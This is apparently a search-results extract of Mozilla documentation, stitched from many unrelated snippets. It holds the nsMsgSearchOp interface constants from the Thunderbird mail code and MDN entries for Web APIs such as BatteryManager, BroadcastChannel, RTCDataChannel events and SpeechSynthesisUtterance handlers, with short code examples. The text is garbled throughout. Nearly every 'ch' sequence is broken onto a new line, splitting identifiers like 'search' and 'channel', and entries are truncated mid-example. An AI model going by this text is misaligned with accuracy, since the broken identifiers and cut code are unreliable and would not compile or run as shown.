changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview astring onbeforelinktraversal(in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); methods onbeforelinktraversal() determines the appropriate target for a link.
...see also nsiwebbrowser
chrome2 ...
nsMsgSearchOp
defined in comm-central/ mailnews/ base/ sear
ch/ public/ nsmsgsear
chcore.idl typedef long nsmsgsear
chopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface nsmsgsear
chop { const nsmsgsear
chopvalue contains = 0; /* for text attributes */ const nsmsgsear
chopvalue doesntcontain = 1; const nsmsgsear
chopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsear
chopvalue isnt = 3; const nsmsgsear
chopvalue isempty = 4; const nsmsgsear
chopvalue isbefore = 5; /* for date attributes */ const nsmsgsear
chopvalue isafter = 6; const nsmsgsear
chopvalue ishigherthan = 7; /* for priority.
... is also applies */ const nsmsgsear
chopvalue islowerthan = 8; const nsmsgsear
chopvalue beginswith = 9; const nsmsgsear
chopvalue endswith = 10; const nsmsgsear
chopvalue soundslike = 11; /* for ldap phoenetic mat
ching */ const nsmsgsear
chopvalue ldapdwim = 12; /* do what i mean for simple sear
ch */ const nsmsgsear
chopvalue isgreaterthan = 13; const nsmsgsear
chopvalue islessthan = 14; const nsmsgsear
chopvalue namecompletion = 15; /* name completion operator...as the name implies =) */ const nsmsgsear
chopvalue isinab = 16; const nsmsgsear
chopvalue isntinab = 17; const nsmsgsear
chopvalue isntempty = 18; /* primarily for tags */ const nsmsgsear
chopvalue mat
ches = 19; /* generic term for use by custom terms */ const nsms...
...gsear
chopvalue doesntmat
ch = 20; /* generic term for use by custom terms */ const nsmsgsear
chopvalue knummsgsear
choperators = 21; /* must be last operator */ }; ...
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ sear
ch/ public/ nsmsgsear
chcore.idl use this to specify the value of a sear
ch term [ptr] native nsmsgsear
chterm(nsmsgsear
chterm); // please note the !
... at the start of this macro, whi
ch means the macro // needs to enumerate the non-string attributes.
... %{c++ #define is_string_attribute(_a) \ (!(_a == nsmsgsear
chattrib::priority || _a == nsmsgsear
chattrib::date || \ _a == nsmsgsear
chattrib::msgstatus || _a == nsmsgsear
chattrib::messagekey || \ _a == nsmsgsear
chattrib::size || _a == nsmsgsear
chattrib::ageindays || \ _a == nsmsgsear
chattrib::folderinfo || _a == nsmsgsear
chattrib::location || \ _a == nsmsgsear
chattrib::label || _a == nsmsgsear
chattrib::junkstatus || \ _a == nsmsgsear
chattrib::folderflag || _a == nsmsgsear
chattrib::uint32hdrproperty || \ _a == nsmsgsear
chattrib::junkpercent || _a == nsmsgsear
chattrib::hasatta
chmentstatus)) %} ...
nsMsgSearchOpValue
nsmsgsear
chopvalue defined in comm-central/ mailnews/ base/ sear
ch/ public/ nsmsgsear
chcore.idl 146 typedef long nsmsgsear
chopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface nsmsgsear
chop { 150 const nsmsgsear
chopvalue contains = 0; /* for text attributes */ 151 const nsmsgsear
chopvalue doesntcontain = 1; 152 const nsmsgsear
chopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsear
chopvalue isnt = 3; 154 const nsmsgsear
chopvalue isempty = 4; 155 156 const nsmsgsear
chopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsear
chopvalue isafter = 6; 158 159 const nsmsgsear
chopvalue ishigherthan = 7; /* for priority.
... is also applies */ 160 const nsmsgsear
chopvalue islowerthan = 8; 161 162 const nsmsgsear
chopvalue beginswith = 9; 163 const nsmsgsear
chopvalue endswith = 10; 164 165 const nsmsgsear
chopvalue soundslike = 11; /* for ldap phoenetic mat
ching */ 166 const nsmsgsear
chopvalue ldapdwim = 12; /* do what i mean for simple sear
ch */ 167 168 const nsmsgsear
chopvalue isgreaterthan = 13; 169 const nsmsgsear
chopvalue islessthan = 14; 170 171 const nsmsgsear
chopvalue namecompletion = 15; /* name completion operator...as the name implies =) */ 172 const nsmsgsear
chopvalue isinab = 16; 173 const nsmsgsear
chopvalue isntinab = 17; 174 const nsmsgsear
chopvalue isntempty = 18; /* primarily for tags */ 175 const nsmsgsear
chopvalue mat
ches = 19; /* generic ter...
...m for use by custom terms */ 176 const nsmsgsear
chopvalue doesntmat
ch = 20; /* generic term for use by custom terms */ 177 const nsmsgsear
chopvalue knummsgsear
choperators = 21; /* must be last operator */ 178 }; ...
AudioParam.cancelScheduledValues() - Web APIs
the cancels
cheduledvalues() method of the audioparam interface cancels all s
cheduled future
changes to the audioparam.
... syntax var audioparam = audioparam.cancels
cheduledvalues(starttime) parameters starttime a double representing the time (in seconds) after the audiocontext was first created after whi
ch all s
cheduled
changes will be cancelled.
... examples var gainnode = audioctx.creategain(); gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); //'gain' is the audioparam gainnode.gain.cancels
cheduledvalues(audioctx.currenttime); specifications specification status comment web audio apithe definition of 'cancels
cheduledvalues' in that specification.
AudioScheduledSourceNode: ended event - Web APIs
the ended event of the audios
cheduledsourcenode interface is fired when the source node has stopped playing.
... bubbles no cancelable no interface event event handler property audios
cheduledsourcenode.onended usage notes this event occurs when a audios
cheduledsourcenode has stopped playing, either because it's rea
ched a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
... examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("startbutton").disabled = false; }) you can also set up the event handler using the audios
cheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("startbutton").disabled = false; } for an example of the ended event in use, see our audio-buffer example on github.
AudioTrackList: change event - Web APIs
the
change event is fired when an audio track is enabled or disabled, for example by
changing the track's enabled property.
... bubbles no cancelable no interface event event handler property on
change examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('
change', (event) => { console.log(`'${event.type}' event fired`); }); //
changing the value of `enabled` will trigger the `
change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); using the on
change event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.on
change = (event) => { console.log(`'${event.type}' event fired`...
...); }; //
changing the value of `enabled` will trigger the `
change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); specifications specification status html living standardthe definition of '
change' in that specification.
BatteryManager.charging - Web APIs
a boolean value indicating whether or not the device's battery is currently being
charged.
... syntax var
charging = battery.
charging on return,
charging indicates whether or not the battery, whi
ch is a batterymanager object, is currently being
charged; if the battery is
charging, this value is true.
... example html content <div id="
charging">(
charging state unknown)</div> javascript content navigator.getbattery().then(function(battery) { var
charging = battery.
charging; document.queryselector('#
charging').textcontent =
charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onlevelchange - Web APIs
the batterymanager.onlevel
change property specifies an event listener to receive level
change events.
... syntax navigator.battery.onlevel
change = funcref where battery is a batterymanager object, and funcref is a function to be called when the level
change event occurs.
... example html <div id="level">(battery level unknown)</div> <div id="statebaterry">(
charging state unknown)</div> javascript navigator.getbattery().then(function(battery) { battery.onlevel
change = function(){ document.queryselector('#level').textcontent = battery.level; if(battery.
charging) { document.queryselector('#statebaterry').textcontent = "
charging time: " + (battery.
chargingtime / 60); } else { document.queryselector('#statebaterry').textcontent = "dis
charging time: " + (battery.dis
chargingtime / 60); } }; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BluetoothRemoteGATTCharacteristic.startNotifications() - Web APIs
the bluetoothremotegatt
characteristic.startnotifications() method returns a promise to the bluetoothremotegatt
characteristic instance when there is an active notification on it.
... syntax bluetoothremotegatt
characteristic.startnotifications().then(function(bluetoothremotegatt
characteristic) { ...
... }) returns a promise to the bluetoothremotegatt
characteristic instance.
BluetoothRemoteGATTCharacteristic.value - Web APIs
the bluetoothremotegatt
characteristic.value read-only property returns currently ca
ched
characteristic value.
... this value gets updated when the value of the
characteristic is read or updated via a notification or indication.
... syntax var value = bluetoothremotegatt
characteristic.value returns the currently ca
ched
characteristic value.
BroadcastChannel.close() - Web APIs
the broadcast
channel.close() terminates the connection to the underlying
channel, allowing the object to be garbage collected.
... this is a necessary step to perform as there is no other way for a browser to know that this
channel is not needed anymore.
... syntax var str =
channel.close(); example // connect to a
channel var bc = new broadcast
channel('test_
channel'); // more operations (like postmessage, …) // when done, disconnect from the
channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcast
channel.close()' in that specification.
BroadcastChannel: message event - Web APIs
the message event is fired on a broadcast
channel object when a message arrives on that
channel.
...on id="broadcast-message" type="button">broadcast message</button> body { border: 1px solid black; padding: .5rem; height: 150px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } textarea { padding: .2rem; } label, br { margin: .5rem 0; } button { vertical-align: top; height: 1.5rem; } const
channel = new broadcast
channel('example-
channel'); const messagecontrol = document.queryselector('#message'); const broadcastmessagebutton = document.queryselector('#broadcast-message'); broadcastmessagebutton.addeventlistener('click', () => {
channel.postmessage(messagecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; paddi...
...ng: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const
channel = new broadcast
channel('example-
channel');
channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const
channel = new broadcast
channel('example-
channel');
channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); result specifications specification status html living standard liv...
Geolocation.clearWatch() - Web APIs
the geolocation.clearwat
ch() method is used to unregister location/error monitoring handlers previously installed using geolocation.wat
chposition().
... syntax navigator.geolocation.clearwat
ch(id); parameters id the id number returned by the geolocation.wat
chposition() method when installing the handler you wish to remove.
... example var id, target, option; function success(pos) { var crd = pos.coords; if (target.latitude === crd.latitude && target.longitude === crd.longitude) { console.log('congratulation, you rea
ch the target'); navigator.geolocation.clearwat
ch(id); } }; function error(err) { console.warn('error(' + err.code + '): ' + err.message); }; target = { latitude : 0, longitude: 0, } options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = navigator.geolocation.wat
chposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
HTMLAnchorElement.relList - Web APIs
the htmlan
chorelement.rellist read-only property reflects the rel attribute.
... the property itself is read-only, meaning you can't substitute the domtokenlist with another one, but its contents can still be
changed.
... syntax var relstr = an
chorelt.rellist; example var an
chors = document.getelementsbytagname("a"); var length = an
chors.length; for (var i = 0; i < length; i++) { var list = an
chors[i].rellist; var listlength = list.length; console.log("new an
chor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLElement.forceSpellCheck() - Web APIs
the forcespell
check() method of the htmlelement interface forces a spelling and grammar
check on html elements, even if the user has not focused on the elements.
...the specific user interface of the
check, for example whether red underlining appears, is determined by the user agent.
... syntax element.forcespell
check() ...
HTMLHyperlinkElementUtils.search - Web APIs
the htmlhyperlinkelementutils.sear
ch property is a sear
ch string, also called a query string, that is usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide urlsear
chparams and url.sear
chparams to make it easy to parse out the parameters from the querystring.
... syntax string = object.sear
ch; object.sear
ch = string; examples // let an <a id="myan
chor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.sear
ch?q=123"> element be in the document var an
chor = document.getelementbyid("myan
chor"); var querystring = an
chor.sear
ch; // returns:'?q=123' // further parsing: let params = new urlsear
chparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.sear
ch' in that specification.
HTMLObjectElement.checkValidity - Web APIs
the
checkvalidity() method of the htmlobjectelement interface returns a boolean that always is true, because object objects are never candidates for constraint validation.
... syntax const valid = htmlobjectelement.
checkvalidity(); parameters none.
... specifications specification status comment html living standardthe definition of '
checkvalidity' in that specification.
HTMLObjectElement.typeMustMatch - Web APIs
the htmlobjectelement.typemustmat
ch property is a boolean that reflects the typemustmat
ch attribute of the <object> element.
... it indicates if the resource linked by it must mat
ch the mime type given by htmlobjectelement.type in order for this resource to be used.
... syntax var mustmat
ch = obj.typemustmat
ch; obj.typemustmat
ch = mustmat
ch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmat
ch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmat
ch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
onMSVideoFormatChanged - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... onmsvideoformat
changed is an event whi
ch occurs when the video format
changes.
... syntax value description event property object.onmsvideoformat
changed = handler; atta
chevent method object.atta
chevent("onmsvideoformat
changed", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoOptimalLayoutChanged - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... onmsvideooptimallayout
changed is an event whi
ch occurs when the msislayoutoptimalforplayback state
changes.
... syntax value description event property object.onmsvideooptimallayout
changed = handler; atta
chevent method object.atta
chevent("onmsvideooptimallayout
changed", handler) addeventlistener method object.addeventlistener("", handler, usecapture) syn
chronous no bubbles no cancelable no see also msislayoutoptimalforplayback htmlvideoelement microsoft api extensions ...
Location: search - Web APIs
the sear
ch property of the location interface is a sear
ch string, also called a query string; that is, a usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide urlsear
chparams and url.sear
chparams to make it easy to parse out the parameters from the querystring.
... syntax string = object.sear
ch; object.sear
ch = string; examples // let an <a id="myan
chor" href="https://developer.mozilla.org/docs/location.sear
ch?q=123"> element be in the document var an
chor = document.getelementbyid("myan
chor"); var querystring = an
chor.sear
ch; // returns:'?q=123' // further parsing: let params = new urlsear
chparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'sear
ch' in that specification.
MediaQueryListEvent.matches - Web APIs
the mat
ches read-only property of the mediaquerylistevent interface is a boolean that returns true if the document currently mat
ches the media query list, or false if not.
... syntax var mat
ches = mediaquerylistevent.mat
ches; value a boolean; returns true if the document currently mat
ches the media query list, false if not.
... examples var mql = window.mat
chmedia('(max-width: 600px)'); function screentest(e) { if (e.mat
ches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'mat
ches' in that specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
the mediatracksupportedconstraints dictionary's
channelcount property is a read-only boolean value whi
ch is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the
channelcount constraint.
... syntax
channelcountconstraintsupported = supportedconstraintsdictionary.
channelcount; value this property is present in the dictionary (and its value is always true) if the user agent supports the
channelcount constraint.
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().
channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of '
channelcount' in that specification.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
the mediatracksupportedconstraints dictionary's e
chocancellation property is a read-only boolean value whi
ch is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the e
chocancellation constraint.
... syntax e
chocancellationconstraintsupported = supportedconstraintsdictionary.e
chocancellation; value this property is present in the dictionary (and its value is always true) if the user agent supports the e
chocancellation constraint.
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().e
chocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'e
chocancellation' in that specification.
Navigator.maxTouchPoints - Web APIs
the maxtou
chpoints read-only property of the navigator interface returns the maximum number of simultaneous tou
ch contact points are supported by the current device.
... syntax tou
chpoints = navigator.maxtou
chpoints; example if (navigator.maxtou
chpoints > 1) { // browser supports multi-tou
ch } specifications specification status comment pointer events – level 2the definition of 'maxtou
chpoints' in that specification.
... pointer eventsthe definition of 'maxtou
chpoints' in that specification.
Node.hasChildNodes() - Web APIs
the node.has
childnodes() method returns a boolean value indicating whether the given node has
child nodes or not.
... syntax bool = node.has
childnodes(); return value a boolean that is true if the node has
child nodes, and false otherwise.
... example let foo = document.getelementbyid('foo'); if (foo.has
childnodes()) { // do something with 'foo.
childnodes' } polyfill here is one possible polyfill: ;(function(prototype) { prototype.has
childnodes = prototype.has
childnodes || function() { return !!this.first
child; } })(node.prototype); there are various ways to determine whether the node has a
child node: node.has
childnodes() node.first
child != null (or just node.first
child) node.
childnodes && node.
childnodes.length (or node.
childnodes.length > 0) specifications specification status comment domthe definition of 'node: has
childnodes' in that specification.
PerformanceTiming.fetchStart - Web APIs
the legacy performancetiming.fet
chstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epo
ch, the browser is ready to fet
ch the document using an http request.
... this moment is before the
check to any application ca
che.
... syntax time = performance.timing.fet
chstart; specifications specification status comment navigation timingthe definition of 'performancetiming.fet
chstart' in that specification.
RTCDTMFToneChangeEvent.tone - Web APIs
the read-only property rtcdtmftone
changeevent.tone returns the dtmf
character whi
ch has just begun to play, or an empty string ("").
... syntax var tone = dtmftone
changeevent.tone; example this example establishes a handler for the tone
change event whi
ch updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... dtmfsender.ontone
change = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "<none>" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftone
changeevent.tone' in that specification.
RTCDataChannel: bufferedamountlow event - Web APIs
a bufferedamountlow event is sent to an rtcdata
channel when the number of bytes currently in the outbound data transfer buffer falls below the threshold specified in bufferedamountlowthreshold.
... bubbles no cancelable no interface event event handler property onbufferedamountlow examples this example sets up a handler for bufferedamountlow to request more data any time the data
channel's buffer falls below the number of bytes specified by bufferedamountlowthreshold, whi
ch we have set to 65536.
... let pc = new rtcpeerconnection(); let dc = pc.createdata
channel("sendfile"); let source = /* source data object */ dc.bufferedamountlowthreshold = 65536; pc.addeventlistener("bufferedamountlow", ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } }, false); after creating the rtcpeerconnection, this calls rtcpeerconnection.createdata
channel() to create the data
channel.
RTCDataChannel: close event - Web APIs
the close event is sent to the onclose event handler on an rtcdata
channel instance when the data transport being used for the data
channel has closed.
... before any further data can be transferred using rtcdata
channel, a new data
channel instance must be created.
... bubbles no cancelable no interface event event handler property rtcdata
channel.onclose examples this example sets up a handler for the close event for the rtcdata
channel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started.
RTCDataChannel: open event - Web APIs
the webrtc open event is sent to an rtcdata
channel object's onopen event handler when the underlying transport used to send and receive the data
channel's messages is opened or re-opened.
... bubbles no cancelable no interface rtcdata
channelevent event handler property onopen examples this example adds to the rtcdata
channel dc a handler for the open event that adjusts the user interface to indicate that a
chat window is ready to be used after a connection has been established.
... dc.addeventlistener("open", ev => { messageinputbox.disabled = false; sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false); this can also be done by directly setting the value of the
channel's onopen event handler property.
RTCDataChannel.reliable - Web APIs
the read-only rtcdata
channel property reliable indicates whether or not the data
channel is reliable.
...use rtcdata
channel.ordered instead in any new code, and update existing code as soon as possible.
... syntax var reliable = adata
channel.reliable; value true if the rtcdata
channel's connection is reliable; false if it isn't.
RTCIceTransport: statechange event - Web APIs
a state
change event occurs when the rtcicetransport
changes state.
... bubbles no cancelable no interface event event handler property rtcicetransport.onstate
change examples given an rtcpeerconnection, pc, the following code creates an event handler that calls a function named handlefailure() if the ice transport enters a failure state.
... let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.addeventlistener("state
change", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstate
change event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstate
change = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'state
change' in that specification.
RTCPeerConnection: signalingstatechange event - Web APIs
an signalingstate
change event is sent to an rtcpeerconnection to notify it that its signaling state, as indicated by the signalingstate property, has
changed.
... bubbles no cancelable no interface event event handler property rtcpeerconnection.onsignalingstate
change examples given an rtcpeerconnection, pc, and an updatestatus() function that presents status information to the user, this code sets up an event handler to let the user know when the ice negotiation process finishes up.
... pc.addeventlistener("signalingstate
change", ev => { swit
ch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }, false); using onsignalingstate
change, it looks like this: pc.onsignalingstate
change = ev => { swit
ch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstate
change' in that specification.
Selection.anchorOffset - Web APIs
the selection.an
choroffset read-only property returns the number of
characters that the selection's an
chor is offset within the selection.an
chornode.
...if the selection begins with the first
character in the selection.an
chornode, 0 is returned.
... syntax number = sel.an
choroffset specifications specification status comment selection apithe definition of 'selection.an
choroffset' in that specification.
Selection.selectAllChildren() - Web APIs
the selection.selectall
children() method adds all the
children of the specified node to the selection.
... syntax sel.selectall
children(parentnode) parameters parentnode all
children of parentnode will be selected.
... example html <main> <button>select footer</button> <p>welcome to my website.</p> <p>i hope you enjoy your visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectall
children(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectall
children()' in that specification.
ServiceWorkerContainer.oncontrollerchange - Web APIs
the oncontroller
change property of the serviceworkercontainer interface is an event handler fired whenever a controller
change event occurs — when the document's associated serviceworkerregistration acquires a new active worker.
... syntax serviceworkercontainer.oncontroller
change = function(controller
changeevent) { ...
... } example // tbd specifications specification status comment service workersthe definition of 'serviceworkercontainer: oncontroller
change' in that specification.
ServiceWorkerGlobalScope.caches - Web APIs
the ca
ches read-only property of the serviceworkerglobalscope interface returns the ca
chestorage object associated with the service worker.
... syntax var myca
chestorage = self.ca
ches; value a ca
chestorage object.
... specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.ca
ches' in that specification.
SpeechRecognitionError.message - Web APIs
the message read-only property of the spee
chrecognitionerror interface returns a message describing the error in more detail.
... this spee
chrecognitionerror interface was renamed to spee
chrecognitionerrorevent in the web spee
ch api specification.
... examples var recognition = new spee
chrecognition(); recognition.onerror = function(event) { console.log('spee
ch recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionEvent.resultIndex - Web APIs
the resultindex read-only property of the spee
chrecognitionevent interface returns the lowest index value result in the spee
chrecognitionresultlist "array" that has actually
changed.
... the spee
chrecognitionresultlist object is not an array, but it has a getter that allows it to be accessed by array syntax.
... examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web spee
ch apithe definition of 'resultindex' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
the utterance read-only property of the spee
chsynthesisutterance interface returns the spee
chsynthesisutterance instance that the event was triggered on.
... syntax event.utterance; value a spee
chsynthesisutterance object.
... examples utterthis.onpause = function(event) { var
char = event.utterance.text.
charat(event.
charindex); console.log('spee
ch paused at
character ' + event.
charindex + ' of "' + event.utterance.text + '", whi
ch is "' +
char + '".'); } specifications specification status comment web spee
ch apithe definition of 'utterance' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
the onboundary property of the spee
chsynthesisutterance interface represents an event handler that will run when the spoken utterance rea
ches a word or sentence boundary (when the boundary event fires.) syntax spee
chsynthesisutteranceinstance.onboundary = function() { ...
... }; examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary rea
ched after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'onboundary' in that specification.
SpeechSynthesisUtterance.onend - Web APIs
the onend property of the spee
chsynthesisutterance interface represents an event handler that will run when the utterance has finished being spoken (when the end event fires.) syntax spee
chsynthesisutteranceinstance.onend = function() { ...
... }; examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'onend' in that specification.
SpeechSynthesisUtterance.onerror - Web APIs
the onerror property of the spee
chsynthesisutterance interface represents an event handler that will run when an error occurs that prevents the utterance from being succesfully spoken (when the error event fires.) syntax spee
chsynthesisutteranceinstance.onerror = function() { ...
... }; examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the spee
ch synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'onerror' in that specification.
SpeechSynthesisUtterance.onmark - Web APIs
the onmark property of the spee
chsynthesisutterance interface represents an event handler that will run when the spoken utterance rea
ches a named ssml mark tag (when the mark event fires.) syntax spee
chsynthesisutteranceinstance.onmark = function() { ...
... }; examples var synth = window.spee
chsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new spee
chsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was rea
ched: ' + event.name); } inputtxt.blur(); } specifications specification status comment web spee
ch apithe definition of 'onmark' in that specification.
SpeechSynthesisVoice.lang - Web APIs
the lang read-only property of the spee
chsynthesisvoice interface returns a bcp 47 language tag indicating the language of the voice.
... syntax var mylang = spee
chsynthesisvoiceinstance.lang; value a domstring representing the language of the device.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.append
child(option); } specifications specification status comment web spee
ch apithe definition of 'lang' in that specification.
SpeechSynthesisVoice.localService - Web APIs
the localservice read-only property of the spee
chsynthesisvoice interface returns a boolean indicating whether the voice is supplied by a local spee
ch synthesizer service (true), or a remote spee
ch synthesizer service (false.) this property is provided to allow differentiation in the case that some voice options are provided by a remote service; it is possible that remote voices might have extra latency, bandwidth or cost associated with them, so su
ch distinction may be useful.
... syntax var amilocal = spee
chsynthesisvoiceinstance.localservice; value a boolean.
...mples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].localservice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.append
child(option); } specifications specification status comment web spee
ch apithe definition of 'localservice' in that specification.
SpeechSynthesisVoice.name - Web APIs
the name read-only property of the spee
chsynthesisvoice interface returns a human-readable name that represents the voice.
... syntax var voicename = spee
chsynthesisvoiceinstance.name; value a domstring representing the name of the voice.
